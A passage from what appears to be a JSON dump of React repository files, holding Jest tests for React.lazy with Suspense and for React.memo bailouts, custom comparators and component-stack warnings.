expect(root).toMatchRenderedOutput('0');\n  });\n\n  it('resolves props for class component without defaultProps', async () => {\n    class Add extends React.Component {\n      render() {\n        return this.props.inner + this.props.outer;\n      }\n    }\n    const LazyAdd = lazy(() => fakeImport(Add));\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner=\"2\" outer=\"2\" />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('22');\n\n    // Mount\n    await act(() => resolveFakeImport(Add));\n\n    expect(root).toMatchRenderedOutput('22');\n\n    // Update\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner={false} outer={false} />\n      </Suspense>,\n    );\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('0');\n  });\n\n  it('resolves props for forwardRef component without defaultProps', async () => {\n    const Add = React.forwardRef((props, ref) => {\n      return props.inner + props.outer;\n    });\n    Add.displayName = 'Add';\n\n    const LazyAdd = lazy(() => fakeImport(Add));\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner=\"2\" outer=\"2\" />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('22');\n\n    // Mount\n    await act(() => resolveFakeImport(Add));\n\n    expect(root).toMatchRenderedOutput('22');\n\n    // Update\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner={false} outer={false} />\n      </Suspense>,\n    );\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('0');\n  });\n\n  it('resolves props for outer memo component without defaultProps', async () => {\n    let Add = props => {\n      return props.inner + props.outer;\n    };\n    Add = React.memo(Add);\n    const LazyAdd = lazy(() => fakeImport(Add));\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner=\"2\" outer=\"2\" />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('22');\n\n    // Mount\n    await act(() => resolveFakeImport(Add));\n\n    expect(root).toMatchRenderedOutput('22');\n\n    // Update\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner={false} outer={false} />\n      </Suspense>,\n    );\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('0');\n  });\n\n  it('resolves props for inner memo component without defaultProps', async () => {\n    const Add = props => {\n      return props.inner + props.outer;\n    };\n    Add.displayName = 'Add';\n    const LazyAdd = lazy(() => fakeImport(Add));\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner=\"2\" outer=\"2\" />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('22');\n\n    // Mount\n    await act(() => resolveFakeImport(Add));\n\n    expect(root).toMatchRenderedOutput('22');\n\n    // Update\n    root.update(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyAdd inner={false} outer={false} />\n      </Suspense>,\n    );\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('0');\n  });\n\n  it('includes lazy-loaded component in warning stack', async () => {\n    const Foo = props => <div>{[<Text text=\"A\" />, <Text text=\"B\" />]}</div>;\n    const LazyFoo = lazy(() => {\n      Scheduler.log('Started loading');\n      return fakeImport(Foo);\n    });\n\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyFoo />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Started loading', 'Loading...']);\n    expect(root).not.toMatchRenderedOutput(<div>AB</div>);\n\n    await act(() => resolveFakeImport(Foo));\n    assertLog(['A', 'B']);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n' +\n        '\\n' +\n        'Check the render method of `Foo`. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Foo (at **)',\n    ]);\n    expect(root).toMatchRenderedOutput(<div>AB</div>);\n  });\n\n  it('supports class and forwardRef components', async () => {\n    class Foo extends React.Component {\n      render() {\n        return <Text text=\"Foo\" />;\n      }\n    }\n    const LazyClass = lazy(() => {\n      return fakeImport(Foo);\n    });\n\n    class Bar extends React.Component {\n      render() {\n        return <Text text=\"Bar\" />;\n      }\n    }\n    const ForwardRefBar = React.forwardRef((props, ref) => {\n      Scheduler.log('forwardRef');\n      return <Bar ref={ref} />;\n    });\n\n    const LazyForwardRef = lazy(() => {\n      return fakeImport(ForwardRefBar);\n    });\n\n    const ref = React.createRef();\n    const root = ReactTestRenderer.create(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <LazyClass />\n        <LazyForwardRef ref={ref} />\n      </Suspense>,\n      {\n        unstable_isConcurrent: true,\n      },\n    );\n\n    await waitForAll(['Loading...']);\n    expect(root).not.toMatchRenderedOutput('FooBar');\n    expect(ref.current).toBe(null);\n\n    await act(() => resolveFakeImport(Foo));\n    assertLog(['Foo']);\n\n    await act(() => resolveFakeImport(ForwardRefBar));\n    assertLog(['Foo', 'forwardRef', 'Bar']);\n    expect(root).toMatchRenderedOutput('FooBar');\n    expect(ref.current).not.toBe(null);\n  });\n\n  it('should error with a component stack naming the resolved component', async () => {\n    let componentStackMessage;\n\n    function ResolvedText() {\n      throw new Error('oh no');\n    }\n    const LazyText = lazy(() => fakeImport(ResolvedText));\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n\n      componentDidCatch(error, errMessage) {\n        componentStackMessage = normalizeCodeLocInfo(errMessage.componentStack);\n        this.setState({\n          error,\n        });\n      }\n\n      render() {\n        return this.state.error ? null : this.props.children;\n      }\n    }\n\n    ReactTestRenderer.create(\n      <ErrorBoundary>\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <LazyText text=\"Hi\" />\n        </Suspense>\n      </ErrorBoundary>,\n      {unstable_isConcurrent: true},\n    );\n\n    await waitForAll(['Loading...']);\n\n    await act(() => resolveFakeImport(ResolvedText));\n    assertLog([]);\n\n    expect(componentStackMessage).toContain('in ResolvedText');\n  });\n\n  it('should error with a component stack containing Lazy if unresolved', async () => {\n    let componentStackMessage;\n\n    const LazyText = lazy(() => ({\n      then(resolve, reject) {\n        reject(new Error('oh no'));\n      },\n    }));\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n\n      componentDidCatch(error, errMessage) {\n        componentStackMessage = normalizeCodeLocInfo(errMessage.componentStack);\n        this.setState({\n          error,\n        });\n      }\n\n      render() {\n        return this.state.error ? null : this.props.children;\n      }\n    }\n\n    await act(() => {\n      ReactTestRenderer.create(\n        <ErrorBoundary>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <LazyText text=\"Hi\" />\n          </Suspense>\n        </ErrorBoundary>,\n        {unstable_isConcurrent: true},\n      );\n    });\n\n    assertLog([]);\n\n    expect(componentStackMessage).toContain('in Lazy');\n  });\n\n  it('mount and reorder lazy types', async () => {\n    class Child extends React.Component {\n      componentWillUnmount() {\n        Scheduler.log('Did unmount: ' + this.props.label);\n      }\n      componentDidMount() {\n        Scheduler.log('Did mount: ' + this.props.label);\n      }\n      componentDidUpdate() {\n        Scheduler.log('Did update: ' + this.props.label);\n      }\n      render() {\n        return <Text text={this.props.label} />;\n      }\n    }\n\n    function ChildA({lowerCase}) {\n      return <Child label={lowerCase ? 'a' : 'A'} />;\n    }\n\n    function ChildB({lowerCase}) {\n      return <Child label={lowerCase ? 'b' : 'B'} />;\n    }\n\n    const LazyChildA = lazy(() => {\n      Scheduler.log('Init A');\n      return fakeImport(ChildA);\n    });\n    const LazyChildB = lazy(() => {\n      Scheduler.log('Init B');\n      return fakeImport(ChildB);\n    });\n    const LazyChildA2 = lazy(() => {\n      Scheduler.log('Init A2');\n      return fakeImport(ChildA);\n    });\n    let resolveB2;\n    const LazyChildB2 = lazy(() => {\n      Scheduler.log('Init B2');\n      return new Promise(r => {\n        resolveB2 = r;\n      });\n    });\n\n    function Parent({swap}) {\n      return (\n        <Suspense fallback={<Text text=\"Outer...\" />}>\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            {swap\n              ? [\n                  <LazyChildB2 key=\"B\" lowerCase={true} />,\n                  <LazyChildA2 key=\"A\" lowerCase={true} />,\n                ]\n              : [<LazyChildA key=\"A\" />, <LazyChildB key=\"B\" />]}\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    const root = ReactTestRenderer.create(<Parent swap={false} />, {\n      unstable_isConcurrent: true,\n    });\n\n    await waitForAll([\n      'Init A',\n      'Loading...',\n      // pre-warming\n      'Init B',\n    ]);\n    expect(root).not.toMatchRenderedOutput('AB');\n\n    await act(() => resolveFakeImport(ChildA));\n    assertLog(['A']);\n\n    await act(() => resolveFakeImport(ChildB));\n    assertLog(['A', 'B', 'Did mount: A', 'Did mount: B']);\n    expect(root).toMatchRenderedOutput('AB');\n\n    // Swap the position of A and B\n    root.update(<Parent swap={true} />);\n    await waitForAll([\n      'Init B2',\n      'Loading...',\n      'Did unmount: A',\n      'Did unmount: B',\n    ]);\n\n    // The suspense boundary should've triggered now.\n    expect(root).toMatchRenderedOutput('Loading...');\n    await act(() => resolveB2({default: ChildB}));\n\n    // We need to flush to trigger the second one to load.\n    assertLog(['Init A2', 'b', 'a', 'Did mount: b', 'Did mount: a']);\n    expect(root).toMatchRenderedOutput('ba');\n  });\n\n  it('mount and reorder lazy elements', async () => {\n    class Child extends React.Component {\n      componentDidMount() {\n        Scheduler.log('Did mount: ' + this.props.label);\n      }\n      componentDidUpdate() {\n        Scheduler.log('Did update: ' + this.props.label);\n      }\n      render() {\n        return <Text text={this.props.label} />;\n      }\n    }\n\n    const ChildA = <Child key=\"A\" label=\"A\" />;\n    const lazyChildA = lazy(() => {\n      Scheduler.log('Init A');\n      return fakeImport(ChildA);\n    });\n    const ChildB = <Child key=\"B\" label=\"B\" />;\n    const lazyChildB = lazy(() => {\n      Scheduler.log('Init B');\n      return fakeImport(ChildB);\n    });\n    const ChildA2 = <Child key=\"A\" label=\"a\" />;\n    const lazyChildA2 = lazy(() => {\n      Scheduler.log('Init A2');\n      return fakeImport(ChildA2);\n    });\n    const ChildB2 = <Child key=\"B\" label=\"b\" />;\n    const lazyChildB2 = lazy(() => {\n      Scheduler.log('Init B2');\n      return fakeImport(ChildB2);\n    });\n\n    function Parent({swap}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {swap ? [lazyChildB2, lazyChildA2] : [lazyChildA, lazyChildB]}\n        </Suspense>\n      );\n    }\n\n    const root = ReactTestRenderer.create(<Parent swap={false} />, {\n      unstable_isConcurrent: true,\n    });\n\n    await waitForAll(['Init A', 'Loading...']);\n    expect(root).not.toMatchRenderedOutput('AB');\n\n    await act(() => resolveFakeImport(ChildA));\n    // We need to flush to trigger the B to load.\n    await assertLog(['Init B']);\n    await act(() => resolveFakeImport(ChildB));\n    assertLog(['A', 'B', 'Did mount: A', 'Did mount: B']);\n    expect(root).toMatchRenderedOutput('AB');\n\n    // Swap the position of A and B\n    React.startTransition(() => {\n      root.update(<Parent swap={true} />);\n    });\n    await waitForAll(['Init B2', 'Loading...']);\n    await act(() => resolveFakeImport(ChildB2));\n    // We need to flush to trigger the second one to load.\n    assertLog(['Init A2', 'Loading...']);\n    await act(() => resolveFakeImport(ChildA2));\n    assertLog(['b', 'a', 'Did update: b', 'Did update: a']);\n    expect(root).toMatchRenderedOutput('ba');\n  });\n\n  describe('legacy mode', () => {\n    // @gate !disableLegacyMode\n    it('mount and reorder lazy elements (legacy mode)', async () => {\n      class Child extends React.Component {\n        componentDidMount() {\n          Scheduler.log('Did mount: ' + this.props.label);\n        }\n        componentDidUpdate() {\n          Scheduler.log('Did update: ' + this.props.label);\n        }\n        render() {\n          return <Text text={this.props.label} />;\n        }\n      }\n\n      const ChildA = <Child key=\"A\" label=\"A\" />;\n      const lazyChildA = lazy(() => {\n        Scheduler.log('Init A');\n        return fakeImport(ChildA);\n      });\n      const ChildB = <Child key=\"B\" label=\"B\" />;\n      const lazyChildB = lazy(() => {\n        Scheduler.log('Init B');\n        return fakeImport(ChildB);\n      });\n      const ChildA2 = <Child key=\"A\" label=\"a\" />;\n      const lazyChildA2 = lazy(() => {\n        Scheduler.log('Init A2');\n        return fakeImport(ChildA2);\n      });\n      const ChildB2 = <Child key=\"B\" label=\"b\" />;\n      const lazyChildB2 = lazy(() => {\n        Scheduler.log('Init B2');\n        return fakeImport(ChildB2);\n      });\n\n      function Parent({swap}) {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            {swap ? [lazyChildB2, lazyChildA2] : [lazyChildA, lazyChildB]}\n          </Suspense>\n        );\n      }\n\n      const root = ReactTestRenderer.create(<Parent swap={false} />, {\n        unstable_isConcurrent: false,\n      });\n\n      assertLog(['Init A', 'Loading...']);\n      expect(root).not.toMatchRenderedOutput('AB');\n\n      await resolveFakeImport(ChildA);\n      // We need to flush to trigger the B to load.\n      await waitForAll(['Init B']);\n      await resolveFakeImport(ChildB);\n\n      await waitForAll(['A', 'B', 'Did mount: A', 'Did mount: B']);\n      expect(root).toMatchRenderedOutput('AB');\n\n      // Swap the position of A and B\n      root.update(<Parent swap={true} />);\n      assertLog(['Init B2', 'Loading...']);\n      await resolveFakeImport(ChildB2);\n      // We need to flush to trigger the second one to load.\n      await waitForAll(['Init A2']);\n      await resolveFakeImport(ChildA2);\n\n      await waitForAll(['b', 'a', 'Did update: b', 'Did update: a']);\n      expect(root).toMatchRenderedOutput('ba');\n    });\n\n    // @gate !disableLegacyMode\n    it('mount and reorder lazy types (legacy mode)', async () => {\n      class Child extends React.Component {\n        componentDidMount() {\n          Scheduler.log('Did mount: ' + this.props.label);\n        }\n        componentDidUpdate() {\n          Scheduler.log('Did update: ' + this.props.label);\n        }\n        render() {\n          return <Text text={this.props.label} />;\n        }\n      }\n\n      function ChildA({lowerCase}) {\n        return <Child label={lowerCase ? 'a' : 'A'} />;\n      }\n\n      function ChildB({lowerCase}) {\n        return <Child label={lowerCase ? 'b' : 'B'} />;\n      }\n\n      const LazyChildA = lazy(() => {\n        Scheduler.log('Init A');\n        return fakeImport(ChildA);\n      });\n      const LazyChildB = lazy(() => {\n        Scheduler.log('Init B');\n        return fakeImport(ChildB);\n      });\n      const LazyChildA2 = lazy(() => {\n        Scheduler.log('Init A2');\n        return fakeImport(ChildA);\n      });\n      const LazyChildB2 = lazy(() => {\n        Scheduler.log('Init B2');\n        return fakeImport(ChildB);\n      });\n\n      function Parent({swap}) {\n        return (\n          <Suspense fallback={<Text text=\"Outer...\" />}>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              {swap\n                ? [\n                    <LazyChildB2 key=\"B\" lowerCase={true} />,\n                    <LazyChildA2 key=\"A\" lowerCase={true} />,\n                  ]\n                : [<LazyChildA key=\"A\" />, <LazyChildB key=\"B\" />]}\n            </Suspense>\n          </Suspense>\n        );\n      }\n\n      const root = ReactTestRenderer.create(<Parent swap={false} />, {\n        unstable_isConcurrent: false,\n      });\n\n      assertLog(['Init A', 'Init B', 'Loading...']);\n      expect(root).not.toMatchRenderedOutput('AB');\n\n      await resolveFakeImport(ChildA);\n      await resolveFakeImport(ChildB);\n\n      await waitForAll(['A', 'B', 'Did mount: A', 'Did mount: B']);\n      expect(root).toMatchRenderedOutput('AB');\n\n      // Swap the position of A and B\n      root.update(<Parent swap={true} />);\n      assertLog(['Init B2', 'Loading...']);\n      await waitForAll(['Init A2', 'b', 'a', 'Did update: b', 'Did update: a']);\n      expect(root).toMatchRenderedOutput('ba');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactMemo-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n/* eslint-disable no-func-assign */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Suspense;\nlet Scheduler;\nlet act;\nlet waitForAll;\nlet assertLog;\nlet assertConsoleErrorDev;\n\ndescribe('memo', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    ({Suspense} = React);\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span prop={props.text} />;\n  }\n\n  async function fakeImport(result) {\n    return {default: result};\n  }\n\n  // Tests should run against both the lazy and non-lazy versions of `memo`.\n  // To make the tests work for both versions, we wrap the non-lazy version in\n  // a lazy function component.\n  sharedTests('normal', (...args) => {\n    const Memo = React.memo(...args);\n    function Indirection(props) {\n      return <Memo {...props} />;\n    }\n    return React.lazy(() => fakeImport(Indirection));\n  });\n  sharedTests('lazy', (...args) => {\n    const Memo = React.memo(...args);\n    return React.lazy(() => fakeImport(Memo));\n  });\n\n  function sharedTests(label, memo) {\n    describe(`${label}`, () => {\n      it('bails out on props equality', async () => {\n        function Counter({count}) {\n          return <Text text={count} />;\n        }\n        Counter = memo(Counter);\n\n        await act(() =>\n          ReactNoop.render(\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Counter count={0} />\n            </Suspense>,\n          ),\n        );\n        assertLog(['Loading...', 0]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop={0} />);\n\n        // Should bail out because props have not changed\n        ReactNoop.render(\n          <Suspense>\n            <Counter count={0} />\n          </Suspense>,\n        );\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop={0} />);\n\n        // Should update because count prop changed\n        ReactNoop.render(\n          <Suspense>\n            <Counter count={1} />\n          </Suspense>,\n        );\n        await waitForAll([1]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop={1} />);\n      });\n\n      it(\"does not bail out if there's a context change\", async () => {\n        const CountContext = React.createContext(0);\n\n        function readContext(Context) {\n          const dispatcher =\n            React\n              .__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n              .H;\n          return dispatcher.readContext(Context);\n        }\n\n        function Counter(props) {\n          const count = readContext(CountContext);\n          return <Text text={`${props.label}: ${count}`} />;\n        }\n        Counter = memo(Counter);\n\n        class Parent extends React.Component {\n          state = {count: 0};\n          render() {\n            return (\n              <Suspense fallback={<Text text=\"Loading...\" />}>\n                <CountContext.Provider value={this.state.count}>\n                  <Counter label=\"Count\" />\n                </CountContext.Provider>\n              </Suspense>\n            );\n          }\n        }\n\n        const parent = React.createRef(null);\n        await act(() => ReactNoop.render(<Parent ref={parent} />));\n        assertLog(['Loading...', 'Count: 0']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n        // Should bail out because props have not changed\n        ReactNoop.render(<Parent ref={parent} />);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n        // Should update because there was a context change\n        parent.current.setState({count: 1});\n        await waitForAll(['Count: 1']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      });\n\n      it('consistent behavior for reusing props object across different function component types', async () => {\n        // This test is a bit complicated because it relates to an\n        // implementation detail. We don't have strong guarantees that the props\n        // object is referentially equal during updates where we can't bail\n        // out anyway — like if the props are shallowly equal, but there's a\n        // local state or context update in the same batch.\n        //\n        // However, as a principle, we should aim to make the behavior\n        // consistent across different ways of memoizing a component. For\n        // example, React.memo has a different internal Fiber layout if you pass\n        // a normal function component (SimpleMemoComponent) versus if you pass\n        // a different type like forwardRef (MemoComponent). But this is an\n        // implementation detail. Wrapping a component in forwardRef (or\n        // React.lazy, etc) shouldn't affect whether the props object is reused\n        // during a bailout.\n        //\n        // So this test isn't primarily about asserting a particular behavior\n        // for reusing the props object; it's about making sure the behavior\n        // is consistent.\n\n        const {useEffect, useState} = React;\n\n        let setSimpleMemoStep;\n        const SimpleMemo = React.memo(props => {\n          const [step, setStep] = useState(0);\n          setSimpleMemoStep = setStep;\n\n          const prevProps = React.useRef(props);\n          useEffect(() => {\n            if (props !== prevProps.current) {\n              prevProps.current = props;\n              Scheduler.log('Props changed [SimpleMemo]');\n            }\n          }, [props]);\n\n          return <Text text={`SimpleMemo [${props.prop}${step}]`} />;\n        });\n\n        let setComplexMemo;\n        const ComplexMemo = React.memo(\n          React.forwardRef((props, ref) => {\n            const [step, setStep] = useState(0);\n            setComplexMemo = setStep;\n\n            const prevProps = React.useRef(props);\n            useEffect(() => {\n              if (props !== prevProps.current) {\n                prevProps.current = props;\n                Scheduler.log('Props changed [ComplexMemo]');\n              }\n            }, [props]);\n\n            return <Text text={`ComplexMemo [${props.prop}${step}]`} />;\n          }),\n        );\n\n        let setMemoWithIndirectionStep;\n        const MemoWithIndirection = React.memo(props => {\n          return <Indirection props={props} />;\n        });\n        function Indirection({props}) {\n          const [step, setStep] = useState(0);\n          setMemoWithIndirectionStep = setStep;\n\n          const prevProps = React.useRef(props);\n          useEffect(() => {\n            if (props !== prevProps.current) {\n              prevProps.current = props;\n              Scheduler.log('Props changed [MemoWithIndirection]');\n            }\n          }, [props]);\n\n          return <Text text={`MemoWithIndirection [${props.prop}${step}]`} />;\n        }\n\n        function setLocalUpdateOnChildren(step) {\n          setSimpleMemoStep(step);\n          setMemoWithIndirectionStep(step);\n          setComplexMemo(step);\n        }\n\n        function App({prop}) {\n          return (\n            <>\n              <SimpleMemo prop={prop} />\n              <ComplexMemo prop={prop} />\n              <MemoWithIndirection prop={prop} />\n            </>\n          );\n        }\n\n        const root = ReactNoop.createRoot();\n        await act(() => {\n          root.render(<App prop=\"A\" />);\n        });\n        assertLog([\n          'SimpleMemo [A0]',\n          'ComplexMemo [A0]',\n          'MemoWithIndirection [A0]',\n        ]);\n\n        // Demonstrate what happens when the props change\n        await act(() => {\n          root.render(<App prop=\"B\" />);\n        });\n        assertLog([\n          'SimpleMemo [B0]',\n          'ComplexMemo [B0]',\n          'MemoWithIndirection [B0]',\n          'Props changed [SimpleMemo]',\n          'Props changed [ComplexMemo]',\n          'Props changed [MemoWithIndirection]',\n        ]);\n\n        // Demonstrate what happens when the prop object changes but there's a\n        // bailout because all the individual props are the same.\n        await act(() => {\n          root.render(<App prop=\"B\" />);\n        });\n        // Nothing re-renders\n        assertLog([]);\n\n        // Demonstrate what happens when the prop object changes, it bails out\n        // because all the props are the same, but we still render the\n        // children because there's a local update in the same batch.\n        await act(() => {\n          root.render(<App prop=\"B\" />);\n          setLocalUpdateOnChildren(1);\n        });\n        // The components should re-render with the new local state, but none\n        // of the props objects should have changed\n        assertLog([\n          'SimpleMemo [B1]',\n          'ComplexMemo [B1]',\n          'MemoWithIndirection [B1]',\n        ]);\n\n        // Do the same thing again. We should still reuse the props object.\n        await act(() => {\n          root.render(<App prop=\"B\" />);\n          setLocalUpdateOnChildren(2);\n        });\n        // The components should re-render with the new local state, but none\n        // of the props objects should have changed\n        assertLog([\n          'SimpleMemo [B2]',\n          'ComplexMemo [B2]',\n          'MemoWithIndirection [B2]',\n        ]);\n      });\n\n      it('accepts custom comparison function', async () => {\n        function Counter({count}) {\n          return <Text text={count} />;\n        }\n        Counter = memo(Counter, (oldProps, newProps) => {\n          Scheduler.log(\n            `Old count: ${oldProps.count}, New count: ${newProps.count}`,\n          );\n          return oldProps.count === newProps.count;\n        });\n\n        await act(() =>\n          ReactNoop.render(\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Counter count={0} />\n            </Suspense>,\n          ),\n        );\n        assertLog(['Loading...', 0]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop={0} />);\n\n        // Should bail out because props have not changed\n        ReactNoop.render(\n          <Suspense>\n            <Counter count={0} />\n          </Suspense>,\n        );\n        await waitForAll(['Old count: 0, New count: 0']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop={0} />);\n\n        // Should update because count prop changed\n        ReactNoop.render(\n          <Suspense>\n            <Counter count={1} />\n          </Suspense>,\n        );\n        await waitForAll(['Old count: 0, New count: 1', 1]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop={1} />);\n      });\n\n      it('supports non-pure class components', async () => {\n        class CounterInner extends React.Component {\n          static defaultProps = {suffix: '!'};\n          render() {\n            return <Text text={this.props.count + String(this.props.suffix)} />;\n          }\n        }\n        const Counter = memo(CounterInner);\n\n        await act(() =>\n          ReactNoop.render(\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <Counter count={0} />\n            </Suspense>,\n          ),\n        );\n        assertLog(['Loading...', '0!']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"0!\" />);\n\n        // Should bail out because props have not changed\n        ReactNoop.render(\n          <Suspense>\n            <Counter count={0} />\n          </Suspense>,\n        );\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"0!\" />);\n\n        // Should update because count prop changed\n        ReactNoop.render(\n          <Suspense>\n            <Counter count={1} />\n          </Suspense>,\n        );\n        await waitForAll(['1!']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"1!\" />);\n      });\n\n      it('warns if the first argument is undefined', () => {\n        memo();\n        assertConsoleErrorDev([\n          'memo: The first argument must be a component. Instead ' +\n            'received: undefined',\n        ]);\n      });\n\n      it('warns if the first argument is null', () => {\n        memo(null);\n        assertConsoleErrorDev([\n          'memo: The first argument must be a component. Instead ' +\n            'received: null',\n        ]);\n      });\n\n      it('does not drop lower priority state updates when bailing out at higher pri (simple)', async () => {\n        const {useState} = React;\n\n        let setCounter;\n        const Counter = memo(() => {\n          const [counter, _setCounter] = useState(0);\n          setCounter = _setCounter;\n          return counter;\n        });\n\n        function App() {\n          return (\n            <Suspense fallback=\"Loading...\">\n              <Counter />\n            </Suspense>\n          );\n        }\n\n        const root = ReactNoop.createRoot();\n        await act(() => {\n          root.render(<App />);\n        });\n        expect(root).toMatchRenderedOutput('0');\n\n        await act(() => {\n          setCounter(1);\n          ReactNoop.discreteUpdates(() => {\n            root.render(<App />);\n          });\n        });\n        expect(root).toMatchRenderedOutput('1');\n      });\n\n      it('does not drop lower priority state updates when bailing out at higher pri (complex)', async () => {\n        const {useState} = React;\n\n        let setCounter;\n        const Counter = memo(\n          () => {\n            const [counter, _setCounter] = useState(0);\n            setCounter = _setCounter;\n            return counter;\n          },\n          (a, b) => a.complexProp.val === b.complexProp.val,\n        );\n\n        function App() {\n          return (\n            <Suspense fallback=\"Loading...\">\n              <Counter complexProp={{val: 1}} />\n            </Suspense>\n          );\n        }\n\n        const root = ReactNoop.createRoot();\n        await act(() => {\n          root.render(<App />);\n        });\n        expect(root).toMatchRenderedOutput('0');\n\n        await act(() => {\n          setCounter(1);\n          ReactNoop.discreteUpdates(() => {\n            root.render(<App />);\n          });\n        });\n        expect(root).toMatchRenderedOutput('1');\n      });\n    });\n\n    it('should skip memo in the stack if neither displayName nor name are present', async () => {\n      const MemoComponent = React.memo(props => [<span />]);\n      ReactNoop.render(\n        <p>\n          <MemoComponent />\n        </p>,\n      );\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'Each child in a list should have a unique \"key\" prop. ' +\n          'See https://react.dev/link/warning-keys for more information.\\n' +\n          '    in span (at **)\\n' +\n          '    in **/ReactMemo-test.js:**:** (at **)',\n      ]);\n    });\n\n    it('should use the inner function name for the stack', async () => {\n      const MemoComponent = React.memo(function Inner(props, ref) {\n        return [<span />];\n      });\n      ReactNoop.render(\n        <p>\n          <MemoComponent />\n        </p>,\n      );\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'Each child in a list should have a unique \"key\" prop.' +\n          '\\n\\nCheck the top-level render call using <Inner>. It was passed a child from Inner. ' +\n          'See https://react.dev/link/warning-keys for more information.\\n' +\n          '    in span (at **)\\n' +\n          '    in Inner (at **)',\n      ]);\n    });\n\n    it('should use the inner name in the stack', async () => {\n      const fn = (props, ref) => {\n        return [<span />];\n      };\n      Object.defineProperty(fn, 'name', {value: 'Inner'});\n      const MemoComponent = React.memo(fn);\n      ReactNoop.render(\n        <p>\n          <MemoComponent />\n        </p>,\n      );\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'Each child in a list should have a unique \"key\" prop.' +\n          '\\n\\nCheck the top-level render call using <Inner>. It was passed a child from Inner. ' +\n          'See https://react.dev/link/warning-keys for more information.\\n' +\n          '    in span (at **)\\n' +\n          '    in Inner (at **)',\n      ]);\n    });\n\n    it('can use the outer displayName in the stack', async () => {\n      const MemoComponent = React.memo((props, ref) => {\n        return [<span />];\n      });\n      MemoComponent.displayName = 'Outer';\n      ReactNoop.render(\n        <p>\n          <MemoComponent />\n        </p>,\n      );\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'Each child in a list should have a unique \"key\" prop.' +\n          '\\n\\nCheck the top-level render call using <Outer>. It was passed a child from Outer. ' +\n          'See https://react.dev/link/warning-keys for more information.\\n' +\n          '    in span (at **)\\n' +\n          '    in Outer (at **)',\n      ]);\n    });\n\n    it('should prefer the inner to the outer displayName in the stack', async () => {\n      const fn = (props, ref) => {\n        return [<span />];\n      };\n      Object.defineProperty(fn, 'name', {value: 'Inner'});\n      const MemoComponent = React.memo(fn);\n      MemoComponent.displayName = 'Outer';\n      